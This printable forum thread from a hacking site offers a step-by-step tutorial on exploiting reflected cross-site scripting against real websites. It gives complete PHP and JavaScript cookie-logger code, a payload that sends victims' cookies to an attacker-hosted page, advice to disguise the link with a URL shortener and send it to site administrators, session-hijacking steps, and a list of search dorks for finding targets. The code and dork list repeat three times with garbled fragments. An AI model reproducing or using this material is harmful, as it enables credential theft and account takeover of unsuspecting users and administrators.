Complete guide to XSS - Printable Version

Complete guide to XSS - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Tutorials (https://sinister.ly/Forum-Tutorials)
+--- Thread: Complete guide to XSS (/Thread-Complete-guide-to-XSS)

Pages: 1 2 3

Complete guide to XSS - JackDaniels - 01-17-2013

Hello guys. I hope you find this tutorial educational.

What is XSS?

Cross Site Scripting also known as XSS , is one of the most common web appliction vulnerability that allows an attacker to run his own client side scripts(especially Javascript) into web pages viewed by other users.

In a typical XSS attack, a hacker inject his malicious javascript code in the legitimate website . When a user visit the specially-crafted link , it will execute the malicious javascript. A successfully exploited XSS vulnerability will allow attackers to do phishing attacks, steal accounts and even worms.

Example:
Let us imagine, a hacker has discovered XSS vulnerability in Gmail and inject malicious script. When a user visit the site, it will execute the malicious script. The malicious code can be used to redirect users to fake gmail page or capture cookies. Using this stolen cookies, he can login into your account and change password.

XSS Attack

Step 1: Finding Vulnerable Website

XSS: Attacking

Now, our first step, is obviously to find a vulnerable site. Finding a site vulnerable to XSS is a lot easier than finding a site vulnerable to SQLi. The problem is, it can take time to determine whether the site is really vulnerable. With SQLi, you can just add a little '. But in XSS, you must submit (sometimes) multiple queries, to test your site for XSS.

Most vulnerable sites will contain a Search, Login, or a Register area. Pretty much anywhere that contains a text-box, can be exploited with XSS. HOWEVER, many people forget this fact, and never use it to their full potential because they think it's useless. You can exploit XSS through the source as well. You can't just take any script, and edit the full thing. But editing an "onmouseover" script, is definitely an exception.

Testing the Vulnerability

First of all, we have to find a input field so that we can inject our own script, for example: search box, username,password or any other input fields.

[Image: search12.png]

Once we found the input field, let us try to put some string inside the field, for instance let me input "BTS". It will display the result

http://3.bp.blogspot.com/-b7oh_RpEwK0/T2R07R2llZI/AAAAAAAAAxE/235N9KseHOs/s1600/XSS_input.gif

Now right click on the page and select view source. search for the string "BTS" which we entered in the input field. Note the location where the input is placed.

--------------------------------------------------------------------

Now we are going to check whether the server sanitize our input or not. In order to do this , let us input the <script> tag inside the input field.

[Image: Xss_script_tag.gif]

View the source of the page . Find the location where input displayed place in previous test.

If it looks somthing like this you're good to go.
[Image: xss-SUCCESS_Noparsing.gif]

Exploiting the vulnerability

Now we know the site is somewhat vulnerable to XSS attack. But let us make sure whether the site is completely vulnerable to this attack by injecting a full javascript code. For instance, let us input

<script>alert('BTS')</script> .

[Image: injecting-XSS.gif]

Now it will display pop-up box with 'BTS' string. Finally, we successfully exploit the XSS . By extending the code with malicious script, a hacker can do steal cookies or deface the site and more

[Image: alert-box-xss.gif]

Cookie Stealing/Logging

Now, cookie stealing is about the most malicious thing we can do with Non-Persistent XSS. A cookie stealer/logger, will log the cookies of the user who access the page to a certain document. The easiest way to do this, would be with a three step process.

First, you should setup a site. Personally, I use http://www.000webhost.com/ the best for upload malicious code, programs, or anything else. So go ahead and register there.

Now, once you've created your site, go to the file manager. Create a new file. Call it "CookieLog.txt". Leave the code blank. Now, create another file after that, called "CookieLogger.php". In CookieLogger.php, we need to add some code, so that it sends the cookies that we log, into our Cookie Log. Add this code, into it (Just make sure the file name has .php, or else it will not run the PHP code (Which is an enormous problem)).

The PHP code for your CookieLogger.php

PHP Code:
<?php
/*
*      ____.              __    ________                .__       .__          
*     |    |____    ____ |  | __\______ \ _____    ____ |__| ____ |  |   ______
*     |    \__  \ _/ ___\|  |/ / |    |  \\__  \  /    \|  |/ __ \|  |  /  ___/
* /\__|    |/ __ \\  \___|    <  |    `   \/ __ \|   |  \  \  ___/|  |__\___ \  
* \________(____  /\___  >__|_ \/_______  (____  /___|  /__|\___  >____/____  >
*               \/     \/     \/        \/     \/     \/        \/          \/ 

* 
* 
* 
* 
* 
* 
* 
*/

if(strlen($_SERVER['QUERY_STRING']) > 0) {
    $fp=fopen('./CookieLog.txt', 'a');
    fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");
    fclose($fp);
} else {
?>

var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';

function URLEncode(str)
{
    // The Javascript escape and unescape functions do not correspond
    // with what browsers actually do...
    var SAFECHARS = "0123456789" +        // Numeric
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +    // Alphabetic
        "abcdefghijklmnopqrstuvwxyz" +
        "-_.!~*'()";        // RFC2396 Mark characters
    var HEX = "0123456789ABCDEF";

    var plaintext = str;
    var encoded = "";
    for (var i = 0; i < plaintext.length; i++ ) {
        var ch = plaintext.charAt(i);
        if (ch == " ") {
            encoded += "+";                // x-www-urlencoded, rather than %20
        } else if (SAFECHARS.indexOf(ch) != -1) {
            encoded += ch;
        } else {
            var charCode = ch.charCodeAt(0);
            if (charCode > 255) {
                alert( "Unicode Character '"
    + ch
    + "' cannot be encoded using standard URL encoding.\n" +
                    "(URL encoding only supports 8-bit characters.)\n" +
          "A space (+) will be substituted." );
                encoded += "+";
            } else {
                encoded += "%";
                encoded += HEX.charAt((charCode >> 4) & 0xF);
                encoded += HEX.charAt(charCode & 0xF);
            }
        }
    } // for

    return encoded;
};

cookie = URLEncode(document.cookie);
html = '<img src="'+ownUrl+'?'+cookie+'">';
document.write(html);

< ?php
}
?>

Now that we have our Cookie Logger script, we can send the cookie logger to our best friend, the Web-Admin . To do this, we should probably Tiny the URL. Or if you can figure out how to Spoof the URL, that will work too.

To Tiny the URL, go to http://www.tinyurl.com/ and just put in the URL. But hold on, we need to add a script into our XSS vulnerability. This is the script that will start our Cookie Logging.

<script>document.location="http://www.host.com/mysite/CookieLogger.php?cookie=" + document.cookie;</script>

So just add that script after the URL, then tiny it, and send it to our Web-Admin, now this can take some time for the Admin to actually click it. Sometimes, the Admin won't click it, so if it takes too long, you should just give up and find another way to exploit it.

Once you get the cookie, you can use "Cookie Manager" Firefox addon to manipulate and edit the cookies so that you can hijack the administrators session. I find Cookie Manager a very useful app for XSS, make sure to download it.

Some XSS Dorks¨

inurl Confused

earch.php?

inurl:find.php?

inurl Confused

earch.html

inurl:find.html

inurl Confused

earch.aspx

inurl:find.aspx

inurl:".php?cmd="

inurl:".php?z="

inurl:".php?q="

inurl:".php?search="

inurl:".php?query="

inurl:".php?searchstring="

inurl:".php?keyword="

inurl:".php?file="

inurl:".php?years="

inurl:".php?txt="

inurl:".php?tag="

inurl:".php?max="

inurl:".php?from="

inurl:".php?author="

inurl:".php?pass="

inurl:".php?feedback="

inurl:".php?mail="

inurl:".php?cat="

inurl:".php?vote="
i
nurl Confused

earch.php?q=

inurl:com_feedpostold/feedpost.php?url=

inurl Confused

crapbook.php?id=

inurl:headersearch.php?sid=

inurl:/poll/default.asp?catid=

inurl:/search_results.php?search=

View the source of the page . Find the location where input displayed place in previous test.

If it looks somthing like this you're good to go.
[Image: xss-SUCCESS_Noparsing.gif]

PHP Code:
<?php
/*
*      ____.              __    ________                .__       .__          
*     |    |____    ____ |  | __\______ \ _____    ____ |__| ____ |  |   ______
*     |    \__  \ _/ ___\|  |/ / |    |  \\__  \  /    \|  |/ __ \|  |  /  ___/
* /\__|    |/ __ \\  \___|    <  |    `   \/ __ \|   |  \  \  ___/|  |__\___ \  
* \________(____  /\___  >__|_ \/_______  (____  /___|  /__|\___  >____/____  >
*               \/     \/     \/        \/     \/     \/        \/          \/ 

* 
* 
* 
* 
* 
* 
* 
*/

if(strlen($_SERVER['QUERY_STRING']) > 0) {
    $fp=fopen('./CookieLog.txt', 'a');
    fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");
    fclose($fp);
} else {
?>

var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';

function URLEncode(str)
{
    // The Javascript escape and unescape functions do not correspond
    // with what browsers actually do...
    var SAFECHARS = "0123456789" +        // Numeric
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +    // Alphabetic
        "abcdefghijklmnopqrstuvwxyz" +
        "-_.!~*'()";        // RFC2396 Mark characters
    var HEX = "0123456789ABCDEF";

    var plaintext = str;
    var encoded = "";
    for (var i = 0; i < plaintext.length; i++ ) {
        var ch = plaintext.charAt(i);
        if (ch == " ") {
            encoded += "+";                // x-www-urlencoded, rather than %20
        } else if (SAFECHARS.indexOf(ch) != -1) {
            encoded += ch;
        } else {
            var charCode = ch.charCodeAt(0);
            if (charCode > 255) {
                alert( "Unicode Character '"
    + ch
    + "' cannot be encoded using standard URL encoding.\n" +
                    "(URL encoding only supports 8-bit characters.)\n" +
          "A space (+) will be substituted." );
                encoded += "+";
            } else {
                encoded += "%";
                encoded += HEX.charAt((charCode >> 4) & 0xF);
                encoded += HEX.charAt(charCode & 0xF);
            }
        }
    } // for

    return encoded;
};

cookie = URLEncode(document.cookie);
html = '<img src="'+ownUrl+'?'+cookie+'">';
document.write(html);

< ?php
}
?>

earch.php?

inurl:find.php?

inurl Confused

earch.html

inurl:find.html

inurl Confused

earch.php?q=

inurl:com_feedpostold/feedpost.php?url=

inurl Confused

crapbook.php?id=

inurl:headersearch.php?sid=

inurl:/poll/default.asp?catid=

inurl:/search_results.php?search=

View the source of the page . Find the location where input displayed place in previous test.

If it looks somthing like this you're good to go.
[Image: xss-SUCCESS_Noparsing.gif]

PHP Code:
<?php
/*
*      ____.              __    ________                .__       .__          
*     |    |____    ____ |  | __\______ \ _____    ____ |__| ____ |  |   ______
*     |    \__  \ _/ ___\|  |/ / |    |  \\__  \  /    \|  |/ __ \|  |  /  ___/
* /\__|    |/ __ \\  \___|    <  |    `   \/ __ \|   |  \  \  ___/|  |__\___ \  
* \________(____  /\___  >__|_ \/_______  (____  /___|  /__|\___  >____/____  >
*               \/     \/     \/        \/     \/     \/        \/          \/ 

* 
* 
* 
* 
* 
* 
* 
*/

if(strlen($_SERVER['QUERY_STRING']) > 0) {
    $fp=fopen('./CookieLog.txt', 'a');
    fwrite($fp, urldecode($_SERVER['QUERY_STRING'])."\n");
    fclose($fp);
} else {
?>

var ownUrl = 'http://<?php echo $_SERVER['HTTP_HOST']; ?><?php echo $_SERVER['PHP_SELF']; ?>';

function URLEncode(str)
{
    // The Javascript escape and unescape functions do not correspond
    // with what browsers actually do...
    var SAFECHARS = "0123456789" +        // Numeric
        "ABCDEFGHIJKLMNOPQRSTUVWXYZ" +    // Alphabetic
        "abcdefghijklmnopqrstuvwxyz" +
        "-_.!~*'()";        // RFC2396 Mark characters
    var HEX = "0123456789ABCDEF";

    var plaintext = str;
    var encoded = "";
    for (var i = 0; i < plaintext.length; i++ ) {
        var ch = plaintext.charAt(i);
        if (ch == " ") {
            encoded += "+";                // x-www-urlencoded, rather than %20
        } else if (SAFECHARS.indexOf(ch) != -1) {
            encoded += ch;
        } else {
            var charCode = ch.charCodeAt(0);
            if (charCode > 255) {
                alert( "Unicode Character '"
    + ch
    + "' cannot be encoded using standard URL encoding.\n" +
                    "(URL encoding only supports 8-bit characters.)\n" +
          "A space (+) will be substituted." );
                encoded += "+";
            } else {
                encoded += "%";
                encoded += HEX.charAt((charCode >> 4) & 0xF);
                encoded += HEX.charAt(charCode & 0xF);
            }
        }
    } // for

    return encoded;
};

cookie = URLEncode(document.cookie);
html = '<img src="'+ownUrl+'?'+cookie+'">';
document.write(html);

< ?php
}
?>

earch.php?

inurl:find.php?

inurl Confused

earch.html

inurl:find.html

inurl Confused

earch.php?q=

inurl:com_feedpostold/feedpost.php?url=

inurl Confused

crapbook.php?id=

inurl:headersearch.php?sid=

inurl:/poll/default.asp?catid=

inurl:/search_results.php?search=

RE: Complete guide to XSS - bluedog.tar.gz - 01-17-2013

Great tutorial and very well explained !

+rep

RE: Complete guide to XSS - JackDaniels - 01-17-2013

Thank you. Always feels good to be appreciated Smile

RE: Complete guide to XSS - bluedog.tar.gz - 01-17-2013

(01-17-2013, 06:33 PM)JackDaniels Wrote: Thank you. Always feels good to be appreciated

Also please note I removed the defacing part, we do not support blackhat stuff. Defacing is under the category blackhat.